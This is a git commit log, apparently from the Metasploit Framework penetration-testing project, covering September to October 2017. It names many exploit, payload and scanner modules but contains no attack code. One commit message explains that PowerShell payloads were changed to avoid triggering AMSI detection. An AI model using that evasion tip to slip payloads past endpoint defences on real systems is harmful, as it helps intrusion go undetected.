itsmeroy2012
e526b37e81
Fixing whitespaces
2017-10-11 15:18:51 +05:30
itsmeroy2012
ee3b638b48
Changing description
2017-10-11 15:17:54 +05:30
itsmeroy2012
7f1f862dc2
KB for http_version
2017-10-11 15:14:22 +05:30
Ernesto Fernandez
32eb1e9fe6
Merge pull request #1 from bwatters-r7/prep-8509
...
bypassuac_injection_winsxs updates and documents
2017-10-11 11:43:57 +02:00
Ernesto Fernandez
ffa29de6c9
Update bypassuac_injection_winsxs.md
2017-10-11 11:43:28 +02:00
itsmeroy2012
d64312c24f
Changing description
2017-10-11 14:55:48 +05:30
itsmeroy2012
9ebf8328ee
adding colon
2017-10-11 14:51:53 +05:30
itsmeroy2012
26c45f4c74
adding new sub heading
2017-10-11 14:47:19 +05:30
itsmeroy2012
3f411a5559
separating sections
2017-10-11 14:45:34 +05:30
itsmeroy2012
9ceaa39451
removing whitespaces
2017-10-11 14:44:01 +05:30
itsmeroy2012
064f4d56aa
adding label
2017-10-11 14:43:06 +05:30
itsmeroy2012
d32edfd53e
Documentation for http_login
2017-10-11 14:39:05 +05:30
Jeffrey Martin
c478133539
add aggregator >= 1.0.0 with cryptTLV support
2017-10-10 23:19:44 -05:00
h00die
e976a91b15
land #9053 RCE for rend micro imsva
2017-10-10 19:27:06 -04:00
Wei Chen
a4bc3ea3c2
Merge branch 'pr9032' into upstream-master
...
Land #9032 , Improve CVE-2017-8464 LNK exploit
Land #9032
2017-10-10 17:11:51 -05:00
Adam Cammack
88f53352c7
Land #9056 , Check for /etc/issue before reading
2017-10-10 15:05:27 -05:00
Indranil Roy
ba0b270b1b
Merge pull request #5 from rapid7/master
...
merging master #5
2017-10-10 23:48:46 +05:30
bwatters-r7
59d03ec4db
Added markdown doc for documentation.
2017-10-10 13:05:29 -05:00
William Vu
ab63caef7b
Land #9009 , Apache Optionsbleed module
2017-10-10 12:13:40 -05:00
jakxx
fd0ce33341
Updated Module Documentation
2017-10-10 12:36:32 -04:00
bwatters-r7
fd963245a4
Recompiled old binaries that used
...
external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp
to make sure the changes don't break them later.
2017-10-10 11:28:49 -05:00
Jeffrey Martin
57afc3b939
Land #9044 , Address generation issues with pure PSH payloads
2017-10-10 10:40:33 -05:00
RootUp
2b85eb17dd
Create ibm_lotus_notes2.rb
2017-10-10 12:22:06 +05:30
Mehmet Ince
fb16f1fbda
Disabling bind type payloads
2017-10-10 09:37:24 +03:00
peewpw
facc38cde1
set timeout for DELETE request
2017-10-09 21:53:31 -04:00
Jeffrey Martin
b83787c24c
make powershell spec more specific in expectations
2017-10-09 20:02:32 -05:00
h00die
850aeda097
land #9052 RCE of Trend Micro OfficeScan
2017-10-09 20:46:30 -04:00
Pearce Barry
a3d47ea838
Land #8989 , IBM Lotus Notes DoS (CVE-2017-1129)
2017-10-09 19:37:59 -05:00
h00die
b796c0be16
fixing docs
2017-10-09 20:31:23 -04:00
Pearce Barry
fd8b72ca66
Minor tweaks.
2017-10-09 17:02:24 -05:00
Hanno Heinrichs
15adb82b96
Make smb_login scanner proxy-aware again
2017-10-09 23:01:25 +02:00
Mehmet Ince
a2d32b460c
Fixing grammer issue
2017-10-09 22:31:13 +03:00
Mehmet Ince
c14c93d450
Integrate OfficeScan 11 exploitation and fix grammer issues
2017-10-09 22:11:42 +03:00
h00die
bf731b4f5e
look before leap issues
2017-10-09 14:27:09 -04:00
jakxx
ef282ea154
Sync Breeze HTTP Server v10.0.28 BOF
...
Added support for v10.0.28 to Sync Breeze BOF module
2017-10-09 13:50:24 -04:00
bwatters-r7
c63d5fb4fb
Recompiled binaries
2017-10-09 12:44:58 -05:00
Adam Cammack
436b72d4cc
Land #9023 , Add tab completion to the edit command
2017-10-09 11:37:12 -05:00
bwatters-r7
0bf948e906
Removed binary files before recompiling
2017-10-09 11:35:41 -05:00
William Vu
27dcc162b2
Revert to Vim because ed is the standard editor
...
https://www.gnu.org/fun/jokes/ed-msg.html
2017-10-09 11:34:45 -05:00
William Webb
14308fb77d
Land #9045 , Copy original request ID into TLV response
2017-10-09 10:58:02 -05:00
bwatters-r7
fc5ab96ad6
Merging to prep for testing
...
Merge branch 'master' of github.com:rapid7/metasploit-framework into upstream-master
2017-10-09 10:31:30 -05:00
bwatters-r7
7df18e378d
Fix conflicts in PR 8509 by mergeing to master
2017-10-09 10:30:21 -05:00
Martin Pizala
6d28a579f3
send_request_cgi instead of send_request_raw
2017-10-09 13:12:48 +02:00
peewpw
be8680ba3d
Create tomcat_jsp_upload_bypass.rb
...
Created a module for CVE-2017-12617 which uploads a jsp payload and executes it.
2017-10-08 21:48:47 -04:00
Spencer McIntyre
3f6f70f820
Move the cve-2017-8464 source to external/source
2017-10-08 13:58:51 -04:00
Mehmet Ince
395c82050b
Adding Trend Micro IMSVA Widget RCE
2017-10-08 18:15:32 +03:00
Mehmet Ince
79c9123261
Adding Trend Micro OfficeScan widget rce module
2017-10-08 17:54:18 +03:00
Martin Pizala
33ec3c3d69
Error handling and style
2017-10-08 13:51:16 +02:00
Martin Pizala
d8ff99b1f6
Change to ARCH_X64, remove python dependency
2017-10-08 13:51:07 +02:00
h00die
015e30c4f3
land #9048 docs for xmas portscan
2017-10-07 15:50:41 -04:00
Deepanshu Gajbhiye
d28b023058
Update xmas.md
...
added requested changes.
2017-10-08 00:16:43 +05:30
h00die
7a87e11767
land #8781 Utilize Rancher Server to exploit hosts
2017-10-07 13:04:34 -04:00
Maurice Popp
b7184e87c0
fixing a type
2017-10-07 14:16:01 +02:00
Maurice Popp
8d50c34e4b
codefixing
2017-10-07 14:06:58 +02:00
Deepanshu Gajbhiye
fa98fe4fe6
Update xmas.md
...
removed blank spaces.
2017-10-07 14:20:19 +05:30
Deepanshu Gajbhiye
0e6843eae1
Update xmas.md
2017-10-07 04:40:28 -04:00
Deepanshu Gajbhiye
3092ad9ea0
Documentation for auxiliary/scanner/portscan/xmas
2017-10-07 04:23:40 -04:00
Martin Pizala
34d119be04
Payload space, error handling and style"
2017-10-07 01:12:24 +02:00
James Barnett
56e95f15c9
Land #9024 , fix bug when manually adding loot
...
cmd_loot was throwing a stack trace when the host was not properly defined.
This fixes it to give a useful error message.
2017-10-06 16:02:12 -05:00
RageLtMan
37e06839f8
Merge pull request #24 from bwatters-r7/update-cache-sizes
...
update cached payload sizes
2017-10-06 16:40:53 -04:00
Jeffrey Martin
d0a1fb6019
tlv response to ID based request with original ID
...
When a tlv response is created the request ID being responded to
needs to be copied into response created.
2017-10-06 13:58:38 -05:00
William Webb
d9e0d891a1
Land #9010 , Remove checks for hardcoded SYSTEM account name
2017-10-06 13:42:18 -05:00
h00die
7535fe255f
land #8736 RCE for orientdb
2017-10-06 14:35:42 -04:00
h00die
e7aa06c1c4
fix documentation
2017-10-06 14:29:39 -04:00
bwatters-r7
f996597bcf
update cached payload sizes
2017-10-06 13:19:00 -05:00
RageLtMan
124a1531f4
Clean up powershell exec string
...
The scriptblock invocation is already coming from Rex, so there's
no need to re-wrap the executed code in more of the same.
2017-10-06 13:19:36 -04:00
Metasploit
4acef04e0d
Bump version of framework to 4.16.11
2017-10-06 10:01:51 -07:00
caleBot
752d21e11c
forgot a comma
2017-10-06 10:47:42 -06:00
RageLtMan
9afdde2938
Address generation issues with pure PSH payloads
...
Powershell payloads were generating using the :generate method
mixed in from Payload::Windows::Exec which is a binary payload
mixin.
Address the breakage by implementing a generate method which simply
outputs the script code produced by the module with no additional
content prepended or appended.
While here, cleanup the commandline generation for the script being
produced by having Rex do it (this permits changes made in Rex to
benefit all consumers).
As a bonus, drop the IEX invocation since it'll trip up AMSI and
upgrade to the scripblock execution semantic.
Credit for finding this little gem goes to bperry - i dont usually
use the native powershell command shells, and managed to miss this
for a long time. Thanks boss.
Testing:
Local in pry
@bperry: Could you test and ping me back if this is right?
2017-10-06 12:32:52 -04:00
caleBot
63e3892392
fixed issues identified by msftidy
2017-10-06 10:16:01 -06:00
caleBot
78e262eabd
fixed issues identified by msftidy
2017-10-06 10:15:30 -06:00
caleBot
36610b185b
initial commit for UEB9 exploits - CVE-2017-12477, CVE-2017-12478
2017-10-06 09:38:33 -06:00
M4P0
7fe750422e
Update geutebrueck_gcore_x64_rce_bo.md
2017-10-06 15:41:12 +02:00
Maurice Popp
770547269b
added documentation, and fixed 4 to 2 indentation
2017-10-06 15:39:25 +02:00
Brent Cook
c701a53def
Land #9018 , Add Bind Shell JCL Payload for z/OS
2017-10-05 17:24:50 -05:00
Brent Cook
7292ee24a2
Land #9027 , Cleanup revshell for zos
2017-10-05 17:20:01 -05:00
Brent Cook
4a745bd2cc
Land #8991 , post/windows/manage/persistence_exe: fix service creation
2017-10-05 17:04:58 -05:00
Brent Cook
9d2e8b1e4d
Land #8003 , Evasions for delivering nops/shellcode into memory
2017-10-05 16:44:36 -05:00
Brent Cook
809d0f79a1
Land #9026 , Fix cache invalidation bug in tab completion
2017-10-05 16:41:00 -05:00
Brent Cook
b7e209a5f3
Land #9033 , Geolocate API update
2017-10-05 16:39:09 -05:00
Spencer McIntyre
e4d99a14b6
Fix EXITFUNC back to process for the RCE too
2017-10-05 11:38:08 -04:00
Spencer McIntyre
4729c885f1
Cleanup the CVE-2017-8464 LPE module
2017-10-05 11:10:37 -04:00
Spencer McIntyre
d0ebfa1950
Change the template technicque to work as an LPE
2017-10-05 10:30:28 -04:00
Spencer McIntyre
825ad940e6
Update the advanced option names and a typo
2017-10-05 10:16:31 -04:00
Spencer McIntyre
482ce005fd
Update the advanced option names and a typo
2017-10-05 10:11:00 -04:00
Pearce Barry
7400082fdb
Land #9040 , Add CVE and Vendor article URL to the denyall_waf_exec module
2017-10-04 09:12:48 -05:00
Mehmet Ince
110f3c9b4a
Add cve and vendor article to the denyall_waf_exec module
2017-10-04 12:11:58 +03:00
OJ
89f508a500
Land #9039 : add transport command to java on OSX
2017-10-04 12:56:02 +10:00
Tim
e534d3cdc8
fix transport and sleep commands on java
2017-10-04 10:36:01 +08:00
William Vu
10dafdcb12
Fix #9036 , broken refs in bypassuac_comhijack
...
Each ref needs to be an individual array.
2017-10-03 13:36:29 -05:00
William Vu
5b9a4d73ee
Readd hostless loot display
...
In the chance event someone actually managed to store it.
2017-10-02 23:31:44 -05:00
William Vu
403b5e2fa8
Move TARGET check into option_values_payloads
2017-10-02 23:22:42 -05:00
Spencer McIntyre
949633e816
Cleanup cve-2017-8464 template and build script
2017-10-02 15:18:13 -04:00
William Webb
ae785f9a08
Land #9036 , Remove dead Youtube link
2017-10-02 11:18:20 -05:00
ashish gahlot
9ff6efd3a3
Remove broken link
2017-10-02 20:43:55 +05:30
h00die
c5cc2f89a0
add docs for wlan_geolocate
2017-10-01 19:49:48 -04:00
h00die
fc66683502
fixes #8928
2017-10-01 19:49:32 -04:00
Martin Pizala
e3326e1649
Use send_request_cgi instead of raw
2017-10-01 02:15:43 +02:00
Martin Pizala
701d628a1b
Features for selecting the target
2017-10-01 02:04:10 +02:00
Spencer McIntyre
f2f48cbc8f
Update the CVE-2017-8464 module
2017-09-30 18:25:16 -04:00
h00die
a676f600d6
fixes to more modules
2017-09-30 15:45:52 -04:00
h00die
8a49a639a0
check file exists before reading
2017-09-29 22:34:38 -04:00
h00die
7fc9be846a
bcoles suggestions
2017-09-29 20:29:30 -04:00
William Vu
b9bed5af95
Land #9028 , vprint_* fix for AuthBrute
2017-09-29 19:04:07 -05:00
William Vu
9941097a5c
Remove extraneous else
2017-09-29 19:01:04 -05:00
William Vu
e8d0f2dde0
Fix missing message for vprint_* in AuthBrute
2017-09-29 18:51:35 -05:00
bigendiansmalls
8af2e5a7ee
Cleanup revshell for zos
...
remove unused code, extra comments
align code, etc. no functionality changes
2017-09-29 18:27:29 -05:00
William Vu
6de986bd70
Fix cache invalidation bug in tab completion
...
We use active_module instead of cmd_use to invalidate @cache_payloads,
since the ivar is no longer shared between cmd_set and cmd_use.
Fixes #8483 . See #7655 .
2017-09-29 18:01:50 -05:00
bigendiansmalls
9ae8bdda1c
Added Bind Shell JCL Payload for mainframe
...
The bind shell is the companion payload to the reverse_shell_jcl
payload for the mainframe platform.
2017-09-29 16:52:36 -05:00
William Vu
0723477b49
Fix nil bug in loot -a and nix hostless loot
...
Apparently you can't actually store hostless loot.
2017-09-29 16:16:16 -05:00
William Vu
1ec968192b
Add tab completion to the edit command
2017-09-29 15:43:53 -05:00
bwatters-r7
e0fee9e317
Land #8821 , Expose session naming
2017-09-29 15:32:47 -05:00
Metasploit
32104eb90e
Bump version of framework to 4.16.10
2017-09-29 10:04:04 -07:00
Pearce Barry
e5a3441c98
Land #9020 , fix #9019 - Travis Timeouts on build
2017-09-29 10:25:40 -05:00
Christian Mehlmauer
5c0bb26060
increase travis timeout
2017-09-29 11:50:02 +02:00
Christian Mehlmauer
de017eed3c
fix #9019
2017-09-29 10:57:46 +02:00
William Vu
9b75ef7c36
Land #8343 , qmail Shellshock module
2017-09-29 00:28:30 -05:00
William Vu
daedf0d904
Clean up module
2017-09-29 00:27:22 -05:00
h00die
6cc5324e5b
oe is all umlaut
2017-09-28 19:52:02 -04:00
Martin Pizala
f973ff13b6
Add some lines to Exploit Detection and Mitigation
2017-09-29 00:55:53 +02:00
Martin Pizala
3a1a437ac7
Rubocop Stlye
2017-09-28 23:53:45 +02:00
Martin Pizala
40c58e3017
Function for selecting the target host
2017-09-28 23:43:59 +02:00
Martin Pizala
cc98e80002
Change arch to ARCH_X64
2017-09-28 20:50:18 +02:00
RootUp
26108f5ac9
Create ibm_lotus_notes.md
2017-09-28 10:31:42 -05:00
h00die
2295146dcd
working optionsbleed module
2017-09-27 22:07:57 -04:00
Adam Cammack
254602174f
Land #9016 , Bump payloads for getsystem fix
2017-09-27 19:23:03 -05:00
OJ
7ea14e8431
Update payloads for getsystem fixes
2017-09-28 09:43:02 +10:00
h00die
997b831b52
implement regexes
2017-09-27 19:33:50 -04:00
William Vu
a47536bb1b
Land #9013 , Nokogiri mixin port-less fix
2017-09-27 13:52:55 -05:00
loftwing
f777e2ab3b
Merge branch 'master' into fix_nmap_imports
...
bringing branch up to date
2017-09-27 12:52:27 -05:00
loftwing
51c1cddb5c
Removed requirement for a host to have ports
2017-09-27 12:43:50 -05:00
Brent Cook
e39b7fd859
Land #9011 , revert changes that hung getsystem/getprivs
2017-09-27 08:38:56 -05:00
OJ
3068fb6e7e
Fix getprivs and getsystem
...
This is a fix for crap and stupid stuff that I did half way through the
packet pivot code. I was working on some priv stuff at the same time,
and when I realised that the work I was doing was not sensible as part
of the packet pivot PR, I failed to revert my changes properly.
As a result I broke `getprivs` and `getsystem`. I am sorry. And I'm
ashamed.
2017-09-27 16:31:42 +10:00
Christian Mehlmauer
81406a073e
tidy up code
2017-09-27 08:01:48 +02:00
Christian Mehlmauer
41e3895424
remove checks for hardcoded name
2017-09-27 07:41:06 +02:00
h00die
0649d0d356
wip optionsbleed
2017-09-26 22:09:07 -04:00
bwatters-r7
579342c4f6
Land #8955 , Fix error messages on telnet_encrypt_overflow.rb
2017-09-26 16:08:58 -05:00
bwatters-r7
66d6ac418a
Land #8978 , Add smb1 scanner
2017-09-26 16:06:41 -05:00
Brent Cook
0d31c1c9a8
Land #8945 , fix issue where we can call shutdown on a closed socket
2017-09-26 16:01:51 -05:00
Brent Cook
71f13db918
style updates
2017-09-26 15:58:43 -05:00
Adam Cammack
0408979e54
Land #9005 , Remove spurious commas
2017-09-26 15:36:33 -05:00
Brent Cook
cad36ee14e
Land #8952 , suhosin compatibility added to staged payload
2017-09-26 15:22:36 -05:00
Brent Cook
ea751dde4c
Land #8992 , Bump Ruby to 2.4.2
2017-09-26 15:07:17 -05:00
Adam Cammack
968ae8e267
Land #8925 , Allow edit to optionally take a path
2017-09-26 13:32:39 -05:00
root
ec51ab2547
Exit function param bug
2017-09-26 11:16:41 +03:00
William Vu
b10d6b8b63
Land #9001 , SSLVersion consolidation for modules
2017-09-25 15:53:18 -05:00
William Vu
98ae054b06
Land #8931 , Node.js debugger exploit
2017-09-25 14:00:13 -05:00
William Vu
d234409d40
Land #8918 , wp_admin_shell_upload multisite fix
2017-09-25 13:54:10 -05:00
William Vu
64dca2dd59
Land #8969 , msftidy exit code rework
2017-09-25 13:45:26 -05:00
Brent Cook
7924667e51
appease alignists
2017-09-25 09:10:10 -05:00
Brent Cook
62ee4ed708
update modules to use inherited SSLVersion option
2017-09-25 09:03:22 -05:00
g0tmi1k
1ee590ac07
Move over to rex-powershell and version bump
...
Version bump for:
- https://github.com/rapid7/rex-powershell/pull/10
- https://github.com/rapid7/rex-powershell/pull/11
2017-09-25 13:45:06 +01:00
h00die
273d49bffd
Land #8891 login scanner for Inedo BuildMaster
2017-09-24 13:30:17 -04:00
h00die
e6c4a87bda
documentation update
2017-09-24 13:29:34 -04:00
h00die
4d1e51a0ff
Land #8906 RCE for supervisor
2017-09-24 08:03:30 -04:00
Brent Cook
7c1f965973
update tests to Ruby 2.3.5 too
2017-09-23 21:16:12 -04:00
Brent Cook
ccc2636fd4
bump Ruby to 2.4.2, fix security issues
2017-09-23 21:12:12 -04:00
Brent Cook
d73e95e7db
Land #8946 , fix #8879 , APK injection edge cases
2017-09-23 20:48:12 -04:00
Jannis Pohl
48188e999e
post/windows/manage/persistence_exe: fix service creation
...
Fixes service creation when in post/windows/manage/persistence_exe
2017-09-23 23:48:50 +02:00
h00die
9528f279a5
cleaned up version, and docs
2017-09-23 10:51:52 -04:00
RootUp
e4f79879ba
Update and rename modules/auxiliary/dos/ibm_lotus_notes.rb to modules/auxiliary/dos/http/ibm_lotus_notes.rb
2017-09-23 18:27:50 +05:30
Pearce Barry
e8eeb784e4
Land #8960 , spelling/grammar fixes part 3
2017-09-22 18:51:31 -05:00
Pearce Barry
8de6fa79c1
Tweakz, yo.
2017-09-22 18:49:09 -05:00
Pearce Barry
d56fffcadf
Land #8974 , spelling/grammar fixes part 4. Finished.
2017-09-22 14:59:28 -05:00
Pearce Barry
f1be6b720b
Tweaky bits.
2017-09-22 13:38:06 -05:00
Pearce Barry
8853193542
Land #8987 , Fix opening non-existant files on unix
2017-09-22 13:15:44 -05:00
Metasploit
68fa3d45f3
Bump version of framework to 4.16.9
2017-09-22 10:05:19 -07:00
Adam Cammack
62aac450f8
Change confusing variable name
2017-09-22 11:43:26 -05:00
Adam Cammack
4ea8f639a3
Add host and service reporting to external modules
2017-09-22 11:42:32 -05:00
RootUp
669b6771e3
Update ibm_lotus_notes.rb
2017-09-22 17:16:42 +05:30
RootUp
a71edb33be
Create ibm_lotus_notes.rb
2017-09-22 17:08:05 +05:30
h00die
ddbff6ba3c
Land #8980 unauth RCE for denyAll WAF
2017-09-21 21:41:33 -04:00
h00die
36fc01d375
check files before opening
2017-09-21 19:36:19 -04:00
Mehmet Ince
3d543b75f5
Fixing typos and replacing double quotes with single
2017-09-21 23:48:12 +03:00
Brent Cook
9b12b2a627
Land #8985 , pull in rapid7/metasploit-payloads#235
2017-09-20 07:25:50 -05:00
Brent Cook
29f65e3dce
finish bumping payloads
2017-09-20 07:25:30 -05:00
William Webb
721277d39d
bump metasploit-payloads to 1.3.8
2017-09-20 05:04:13 -05:00
Mehmet Ince
1031d7960a
Moving token extraction to the seperated function
2017-09-20 10:23:32 +03:00
bwatters-r7
5a62e779aa
Land #8954 , fix internal usage of bindata objects when generating NTP messages
2017-09-19 09:01:49 -05:00
Brent Cook
faeffc365b
Land #8973 , remove obsolete code from Meterpreter client core
2017-09-19 08:07:35 -05:00
Mehmet Ince
ee969ae8e5
Adding DenyAll RCE module
2017-09-19 14:53:37 +03:00
Brent Cook
d8ee4150e6
move client core constants closer to where they are actually used
2017-09-19 03:22:13 -05:00
Brent Cook
5b579baa33
remove unused Linux migration code
2017-09-19 03:04:43 -05:00
Brent Cook
0e15b2d002
remove unneeded METERPRETER_TRANSPORT constants
2017-09-19 02:59:05 -05:00
loftwing
c584592a4b
Remove leftover IPs in docs
2017-09-18 15:12:42 -05:00
loftwing
c953842c96
Added docs and additional dialects
2017-09-18 15:02:38 -05:00
loftwing
7d07f7054d
Merge remote-tracking branch 'origin/master' into add_smb1_scanner
2017-09-18 13:16:06 -05:00
loftwing
d07fe2f1e7
Added reporting back, removed wfw dialect
2017-09-18 13:15:19 -05:00
h00die
08dea910e1
pbarry-r7 comments
2017-09-17 19:38:43 -04:00
h00die
c90f885938
Finished spelling issues
2017-09-17 16:00:04 -04:00
RageLtMan
271bd4c4fe
Rename METERPRETER_TRANSPORT_SSL to ..._TCP
...
Since OpenSSL is no longer packages with meterpreter, and transport
secrecy is handled at L7, the SSL cons name doesn't apply anymore.
Rename METERPRETER_TRANSPORT_SSL to METERPRETER_TRANSPORT_TCP for
consistency with wire-level implementation.
2017-09-17 14:31:15 -04:00
Pearce Barry
6985469009
Land #8971 , Fix consistency issue in 'r7-metasploit' banner
2017-09-16 16:42:19 -05:00
William Webb
d967ce4523
Land #8979 , Add missing payload specs
2017-09-15 22:42:56 -05:00
Jeffrey Martin
2c040d932c
add some missing payload specs
2017-09-18 15:45:00 -05:00
james
831b148ac6
Fix consistency issue in 'r7-metasploit' banner
...
This has bugged me for a while, finally fixing it.
2017-09-15 22:19:00 -05:00
William Webb
d5362333e2
Land #8958 , Add Disk Pulse Enterprise web server buffer overflow
2017-09-15 13:34:22 -05:00
loftwing
6f5eb5a18f
update
2017-09-15 12:07:28 -05:00
Metasploit
b2f5bd16e6
Bump version of framework to 4.16.8
2017-09-15 10:02:38 -07:00
Pearce Barry
e651bc1205
Land #8951 , Hwbridge auto padding fix and flowcontrol
2017-09-15 08:33:17 -05:00
Christian Mehlmauer
7578913058
rework msftidy exit codes
2017-09-15 10:27:04 +02:00
james
4e81a68108
Simplify saving valid credentials by calling store_valid_credential
2017-09-15 00:18:33 -05:00
loftwing
e88b766276
Merge branch 'master' of https://github.com/rapid7/metasploit-framework into add_smb1_scanner
2017-09-14 17:00:45 -05:00
loftwing
646dda7958
Add initial smbv1 scanner code
2017-09-14 16:59:39 -05:00
Pearce Barry
9b5350ff9c
Land #8967 , msftidy - fix missing newline
2017-09-14 13:28:52 -05:00
loftwing
e3deaadcc7
Documentation added
2017-09-14 11:52:15 -05:00
Christian Mehlmauer
c77cb51d64
add newline
2017-09-14 18:26:11 +02:00
Jeffrey Martin
a992a3c427
Land #8774 , Post module for gather Docker credentials
2017-09-14 10:15:03 -05:00
Pearce Barry
200a1b400a
Remove spaces to appease msftidy.
2017-09-14 09:28:38 -05:00
h00die
3034930556
Land #8953 executable extra newline removal
2017-09-14 10:10:01 -04:00
h00die
a1583de055
added pound shebang to vxencrypt
2017-09-14 10:09:31 -04:00
h00die
30f833f684
80 pages left
2017-09-13 22:03:34 -04:00
loftwing
52385f4d9e
fix formatting to fit rubocop
2017-09-13 11:46:57 -05:00
loftwing
b8c40a9d95
Clean up formatting
2017-09-13 11:13:33 -05:00
loftwing
3c204f91ef
Correct module title
2017-09-13 11:02:13 -05:00
loftwing
65f2ee9109
added generate_seh_record
2017-09-13 10:56:32 -05:00
loftwing
7db506887b
Add exploit code
2017-09-13 10:36:36 -05:00
loftwing
eb0d174987
Add disk_pulse_enterprise_get module
2017-09-13 10:19:24 -05:00
Tim
9afb09813f
update cmd_edit_help text
2017-09-13 14:54:35 +08:00
William Webb
a07f7c9f42
Land #8520 , Linux post module to find and collect TOR hidden service configurations
2017-09-12 13:39:18 -05:00
Erik Lenoir
27a517e0f6
Fix #8060 , cf #8061
2017-09-12 18:41:51 +02:00
Brent Cook
a7a17c677c
fix internal usage of bindata objects when generating NTP messages
2017-09-12 09:54:09 -04:00
Anant Shrivastava
86726978ed
payload size updated
2017-09-12 19:23:31 +05:30
heitor.gouvea@ima.sp.gov.br
1c44406e94
Removing unnecessary spaces
2017-09-12 10:00:18 -03:00
Anant Shrivastava
363d3c28d7
suhosin comaptibility added to staged payload
2017-09-12 08:49:53 +05:30
Craig Smith
e4465c9350
Fixed a bug where flowcontrol caused the first packet to get lost
2017-09-11 19:00:53 -07:00
Craig Smith
b218cc3c7f
Merge branch 'master' into hw_auto_padding_fix
2017-09-11 18:30:34 -07:00
Craig Smith
363e11850b
Added FC to documentation
2017-09-11 18:29:27 -07:00
Craig Smith
ad9329993d
Added better padding and flowcontrol support.
2017-09-11 18:20:57 -07:00
Pearce Barry
7b87915e1f
Land #8923 , Add additional error checking to mssql_clr_payload module
2017-09-11 17:39:33 -05:00
Martin Pizala
5ae708081d
Wording, reviewer remarks
2017-09-11 23:25:10 +02:00
Jeffrey Martin
a58552daad
Land #8825 , Handle missing util.pump in nodejs shell payloads
2017-09-11 15:32:21 -05:00
Tod Beardsley
5f66b7eb1a
Land #8940 , @h00die's second round of desc fixes
...
One ninja edit along the way as well.
2017-09-11 13:05:13 -05:00
Tod Beardsley
cfbd3c1615
Fix spelling of Honeywell
2017-09-11 13:02:18 -05:00
Tim
c3fa30707d
fix #8879 , fix APK injection edge cases
2017-09-11 12:03:20 +08:00
james
ba880d1a85
Changes to mssql_clr_payload error handling based on code review
2017-09-10 14:15:39 -05:00
Patrick Thomas
2966fb7c8c
Accept @shawizard suggestion for formatting msg_body
2017-09-10 11:23:52 -07:00
h00die
fc52ef9941
Land #8942 docs for syn port scanner
2017-09-10 10:03:34 -04:00
h00die
ddfa1d722b
fixed grammar
2017-09-10 10:02:07 -04:00
RageLtMan
8d60fdf9e7
Bug - HTTP Client can call :shutdown on closed IO
...
When running Rex HTTP client calls across pivots, pivot sockets
can get closed by the remote server, resulting in a closed :conn
object within the client object. The clients :close method calls
self.conn.shutdown which raises an 'IOError closed stream' on what
is effectively a TCPSocket object in a closed state (under the Rex
abstraction).
Resolve by moving the self.conn.closed? check into the conditional
just above the :shutdown call, and remove if from the underlying
:close call as calling :close on an already closed TCPSocket
returns nil as opposed to throwing an exception like the :shutdown
method.
2017-09-10 03:09:59 -04:00
james
861f4a6201
Changes to buildmaster_login from code review
...
Use peer property in messages instead of rhost rport combination for consistency.
Documentation updated accordingly.
2017-09-09 18:00:04 -05:00
james
47adfb9956
Fixes from code review to buildmaster_login
...
Per bcoles, the most important fixes are:
- Removing `self.class` from call to `register_options`
- Adding rescue to login_succeeded to handle bad json
2017-09-09 16:26:01 -05:00
Deepanshu Gajbhiye
4ec72d7091
Update syn.md
2017-09-09 20:15:13 +05:30
h00die
7339658ba9
224 pages of spelling issues left
2017-09-09 09:52:08 -04:00
Deepanshu Gajbhiye
8138396ab5
Update syn.md
2017-09-09 13:28:18 +05:30
h00die
6289cc0b70
Merge branch 'spellin' of https://github.com/h00die/metasploit-framework into spellin
2017-09-08 22:20:39 -04:00
h00die
0910c482a9
35 pages of spelling done
2017-09-08 22:19:55 -04:00
Metasploit
faa84faf25
Bump version of framework to 4.16.7
2017-09-08 15:38:22 -07:00
Brent Cook
f8f363c5c9
Land #8944 , bump payloads, fix java/android shell expansion
2017-09-08 14:03:15 -05:00
Brent Cook
8f864c27e3
Land #8924 , Add Apache Struts 2 REST Plugin XStream RCE
2017-09-08 13:59:52 -05:00
Brent Cook
54a62976f8
update versions and add quick module docs
2017-09-08 13:59:29 -05:00
Brent Cook
6b0b2550ec
bump payloads, add shell expansion for java/android payloads
2017-09-08 13:45:54 -05:00
William Vu
978fdb07b0
Comment out PSH target and explain why
...
I hope we can fix the PSH target in the future, but the Windows dropper
works today, and you can specify a custom EXE if you really want.
2017-09-08 13:41:06 -05:00
dmohanty-r7
c91ef1f092
Land #8768 , Add Docker Daemon TCP exploit module
2017-09-08 12:50:00 -05:00
Metasploit
f5a73f3efe
Bump version of framework to 4.16.6
2017-09-08 10:03:41 -07:00
Pearce Barry
2ebf53b647
Minor tweaks...
2017-09-08 10:04:47 -05:00
Brent Cook
2a884af022
Land #8943 , update android/java meterpreter for config size changes
2017-09-08 10:10:31 +02:00
Brent Cook
d38ee0f1ee
bump payloads, grab java/android fixes for #8938
...
fixes #8938
2017-09-08 10:08:22 +02:00
Deepanshu Gajbhiye
35ecc822f1
Update syn.md
2017-09-08 13:23:30 +05:30
Deepanshu Gajbhiye
bead7374de
syn.md
...
documentation for syn portscan
2017-09-08 02:57:46 -04:00
h00die
00c593e0a2
55 pages of spelling done
2017-09-07 21:18:50 -04:00
William Vu
a9a307540f
Assign cmd to entire case and use encode for XML
...
Hat tip @acammack-r7. Forgot about that first syntax!
2017-09-07 19:36:08 -05:00
William Vu
8f1e353b6e
Add Apache Struts 2 REST Plugin XStream RCE
2017-09-07 19:30:48 -05:00
Brent Cook
a0181a4d54
Land #8831 , Add Maven post-exploitation credential extraction module
...
Merge remote-tracking branch 'upstream/pr/8831' into upstream-master
2017-09-08 00:37:03 +02:00
Brent Cook
c15968e0d3
Land #8939 , Fix payload permissions in docker priv_esc module
2017-09-08 00:11:31 +02:00
James Barnett
7e9d0b3e9b
Fix permissions in docker priv_esc module
...
The previous command didn't give the original user enough permissions
to execute the payload. This was resulting in permission denied
and preventing me from getting a root shell.
Fixes #8937
2017-09-07 16:48:02 -05:00
Brent Cook
c67e407c9c
Land #8880 , added Cisco Smart Install (SMI) scanner
2017-09-07 08:06:03 -05:00
Brent Cook
a304df265c
fix spelling
2017-09-07 08:02:30 -05:00
g0tmi1k
accb77d268
Add PSH (Binary) as a target to web_delivery
2017-09-07 10:55:29 +01:00
Brent Cook
ee9e4275d5
Land #8926 , remove obsolete HACKING file
2017-09-07 02:36:18 -05:00
Brent Cook
50c168415c
remove HACKING from yardopts
2017-09-07 02:35:56 -05:00
Brent Cook
65d17784d4
finish the job
2017-09-07 02:34:36 -05:00
Brent Cook
eeb51447af
Land #8932 , Packet-level pivot support and named pipe transports
2017-09-07 02:28:22 -05:00
Brent Cook
b9fdca04a1
rework logical fix for #8884 to function with bootstrap code
2017-09-07 01:43:58 -05:00
Brent Cook
c365db135a
